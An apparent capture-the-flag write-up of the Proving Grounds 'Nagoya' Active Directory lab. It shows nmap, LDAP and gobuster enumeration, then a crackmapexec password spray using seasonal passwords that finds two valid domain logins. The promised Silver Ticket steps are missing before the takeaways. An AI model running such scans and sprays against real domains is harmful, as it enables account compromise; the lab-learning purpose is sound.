Target: Active Directory

Proving Grounds: Nagoya

This lab demonstrates exploiting an MSSQL server running under a privileged service account to achieve domain administrator access. By leveraging the service account's password hash, learners generate a Silver Ticket to impersonate the Administrator user and execute commands. The lab highlights SQL Server enumeration, Kerberos Silver Ticket exploitation, and domain escalation techniques for achieving full system control.

Proving GroundsAuthorized lab writeupCybersecurity portfolio

Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.

#activedirectory #windows

Overview

The lab focuses on exploiting enumeration techniques such as SMB enumeration, Kerberoasting, and MSSQL enumeration. You'll also learn password cracking methods and ticket generation processes. This lab emphasizes practical skills in privilege escalation and credential harvesting.

Learning objectives

After completion of this lab, learners will be able to:

Enumerate domain services and identify the MSSQL service running on port 1433.
Use credentials for svc_mssql to authenticate and verify service context.
Exploit SQL Server features (xp_dirtree) to confirm the service account permissions.
Generate a Silver Ticket using the NTLM hash of the svc_mssql account.
Use the Silver Ticket to access the MSSQL server as the domain Administrator and retrieve the proof.txt flag.

Scenario

This lab demonstrates exploiting an MSSQL server running under a privileged service account to achieve domain administrator access. By leveraging the service account's password hash, learners generate a Silver Ticket to impersonate the Administrator user and execute commands. The lab highlights SQL Server enumeration, Kerberos Silver Ticket exploitation, and domain escalation techniques for achieving full system control.

Enumeration

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

─(kali㉿kali)-[~/offsec/nagoya]
# Map exposed services and versions on the target.

└─$ nmap -sCV -p- 192.168.144.21
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-07 16:47 -0400
Nmap scan report for 192.168.144.21
Host is up (0.023s latency).
Not shown: 65512 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Nagoya Industries - Nagoya
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-07-07 20:49:36Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=nagoya.nagoya-industries.com
| Not valid before: 2026-07-06T20:46:54
|_Not valid after:  2027-01-05T20:46:54
| rdp-ntlm-info: 
|   Target_Name: NAGOYA-IND
|   NetBIOS_Domain_Name: NAGOYA-IND
|   NetBIOS_Computer_Name: NAGOYA
|   DNS_Domain_Name: nagoya-industries.com
|   DNS_Computer_Name: nagoya.nagoya-industries.com
|   DNS_Tree_Name: nagoya-industries.com
|   Product_Version: 10.0.17763
|_  System_Time: 2026-07-07T20:50:24+00:00
|_ssl-date: 2026-07-07T20:51:04+00:00; 0s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49675/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49676/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  msrpc         Microsoft Windows RPC
49698/tcp open  msrpc         Microsoft Windows RPC
49717/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: NAGOYA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-07-07T20:50:25
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 201.51 seconds

After adding the 192.168.144.21 nagoya-industries to the /etc/hosts file and navigating to it.

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

(kali㉿kali)-[~/offsec/nagoya]
# Execute the next evidence-gathering step in the authorized lab.

└─$ ldapsearch -x -H ldap://192.168.144.21 -s base       
## extended LDIF
#
## LDAPv3
## base <> (default) with scope baseObject
## filter: (objectclass=*)
## requesting: ALL
#

#
dn:
domainFunctionality: 7
forestFunctionality: 7
domainControllerFunctionality: 7
rootDomainNamingContext: DC=nagoya-industries,DC=com
ldapServiceName: nagoya-industries.com:nagoya$@NAGOYA-INDUSTRIES.COM
isGlobalCatalogReady: TRUE
supportedSASLMechanisms: GSSAPI
supportedSASLMechanisms: GSS-SPNEGO
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 3
supportedLDAPVersion: 2
supportedLDAPPolicies: MaxPoolThreads
supportedLDAPPolicies: MaxPercentDirSyncRequests
supportedLDAPPolicies: MaxDatagramRecv
supportedLDAPPolicies: MaxReceiveBuffer
supportedLDAPPolicies: InitRecvTimeout
supportedLDAPPolicies: MaxConnections
supportedLDAPPolicies: MaxConnIdleTime
supportedLDAPPolicies: MaxPageSize
supportedLDAPPolicies: MaxBatchReturnMessages
supportedLDAPPolicies: MaxQueryDuration
supportedLDAPPolicies: MaxDirSyncDuration
supportedLDAPPolicies: MaxTempTableSize
supportedLDAPPolicies: MaxResultSetSize
supportedLDAPPolicies: MinResultSets
supportedLDAPPolicies: MaxResultSetsPerConn
supportedLDAPPolicies: MaxNotificationPerConn
supportedLDAPPolicies: MaxValRange
supportedLDAPPolicies: MaxValRangeTransitive
supportedLDAPPolicies: ThreadMemoryLimit
supportedLDAPPolicies: SystemMemoryLimitPercent
supportedControl: 1.2.840.113556.1.4.319
supportedControl: 1.2.840.113556.1.4.801
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 1.2.840.113556.1.4.528
supportedControl: 1.2.840.113556.1.4.417
supportedControl: 1.2.840.113556.1.4.619
supportedControl: 1.2.840.113556.1.4.841
supportedControl: 1.2.840.113556.1.4.529
supportedControl: 1.2.840.113556.1.4.805
supportedControl: 1.2.840.113556.1.4.521
supportedControl: 1.2.840.113556.1.4.970
supportedControl: 1.2.840.113556.1.4.1338
supportedControl: 1.2.840.113556.1.4.474
supportedControl: 1.2.840.113556.1.4.1339
supportedControl: 1.2.840.113556.1.4.1340
supportedControl: 1.2.840.113556.1.4.1413
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.10
supportedControl: 1.2.840.113556.1.4.1504
supportedControl: 1.2.840.113556.1.4.1852
supportedControl: 1.2.840.113556.1.4.802
supportedControl: 1.2.840.113556.1.4.1907
supportedControl: 1.2.840.113556.1.4.1948
supportedControl: 1.2.840.113556.1.4.1974
supportedControl: 1.2.840.113556.1.4.1341
supportedControl: 1.2.840.113556.1.4.2026
supportedControl: 1.2.840.113556.1.4.2064
supportedControl: 1.2.840.113556.1.4.2065
supportedControl: 1.2.840.113556.1.4.2066
supportedControl: 1.2.840.113556.1.4.2090
supportedControl: 1.2.840.113556.1.4.2205
supportedControl: 1.2.840.113556.1.4.2204
supportedControl: 1.2.840.113556.1.4.2206
supportedControl: 1.2.840.113556.1.4.2211
supportedControl: 1.2.840.113556.1.4.2239
supportedControl: 1.2.840.113556.1.4.2255
supportedControl: 1.2.840.113556.1.4.2256
supportedControl: 1.2.840.113556.1.4.2309
supportedControl: 1.2.840.113556.1.4.2330
supportedControl: 1.2.840.113556.1.4.2354
supportedCapabilities: 1.2.840.113556.1.4.800
supportedCapabilities: 1.2.840.113556.1.4.1670
supportedCapabilities: 1.2.840.113556.1.4.1791
supportedCapabilities: 1.2.840.113556.1.4.1935
supportedCapabilities: 1.2.840.113556.1.4.2080
supportedCapabilities: 1.2.840.113556.1.4.2237
subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=nagoya-industrie
 s,DC=com
serverName: CN=NAGOYA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Config
 uration,DC=nagoya-industries,DC=com
schemaNamingContext: CN=Schema,CN=Configuration,DC=nagoya-industries,DC=com
namingContexts: DC=nagoya-industries,DC=com
namingContexts: CN=Configuration,DC=nagoya-industries,DC=com
namingContexts: CN=Schema,CN=Configuration,DC=nagoya-industries,DC=com
namingContexts: DC=DomainDnsZones,DC=nagoya-industries,DC=com
namingContexts: DC=ForestDnsZones,DC=nagoya-industries,DC=com
isSynchronized: TRUE
highestCommittedUSN: 28732
dsServiceName: CN=NTDS Settings,CN=NAGOYA,CN=Servers,CN=Default-First-Site-Nam
 e,CN=Sites,CN=Configuration,DC=nagoya-industries,DC=com
dnsHostName: nagoya.nagoya-industries.com
defaultNamingContext: DC=nagoya-industries,DC=com
currentTime: 20260707210223.0Z
configurationNamingContext: CN=Configuration,DC=nagoya-industries,DC=com

## search result
search: 2
result: 0 Success

## numResponses: 2
## numEntries: 1

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

─(kali㉿kali)-[~/offsec/nagoya]
# Discover application paths and files that may expand the attack surface.

└─$ gobuster dir -u http://nagoya-industries.com/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
# Discover application paths and files that may expand the attack surface.

Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://nagoya-industries.com/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index                (Status: 200) [Size: 3530]
Index                (Status: 200) [Size: 3530]
team                 (Status: 200) [Size: 6896]
error                (Status: 200) [Size: 3128]
INDEX                (Status: 200) [Size: 3530]
Team                 (Status: 200) [Size: 6896]
Error                (Status: 200) [Size: 3128]
Progress: 220558 / 220558 (100.00%)
===============================================================
Finished
===============================================================

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

## creating a username list from the names mentioned under team
(kali㉿kali)-[~/offsec/nagoya]
# Read the file contents for useful configuration or credential data.

└─$ cat users.trial      
matthew.Harrison
emma.Miah
rebecca.Bell
scott.Gardner
terry.Edwards
holly.Matthews
anne.Jenkins
brett.Naylor
melissa.Mitchell
craig.Carr
fiona.Clark
patrick.Martin
kate.Watson
kirsty.Norris
andrea.Hayes
abigail.Hughes
melanie.Watson
frances.Ward
sylvia.King
wayne.Hartley
iain.White
joanna.Wood
bethan.Webster
elaine.Brady
christopher.Lewis
megan.Johnson
damien.Chapman
joanne.Lewis

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

## since the website was created in 2023, we'll just create a simple password list
(kali㉿kali)-[~/offsec/nagoya]
# Read the file contents for useful configuration or credential data.

└─$ cat passwords.trial
Summer2023
Winter2023
Autum2023
Spring2023
Fall2023

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

(kali㉿kali)-[~/offsec/nagoya]
# Execute the next evidence-gathering step in the authorized lab.

└─$ crackmapexec smb 192.168.144.21 -u users.trial -p passwords.trial --continue-on-success | grep +
SMB                      192.168.144.21  445    NAGOYA           [+] nagoya-industries.com\craig.Carr:Spring2023 
SMB                      192.168.144.21  445    NAGOYA           [+] nagoya-industries.com\fiona.Clark:Summer2023

Takeaways

This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.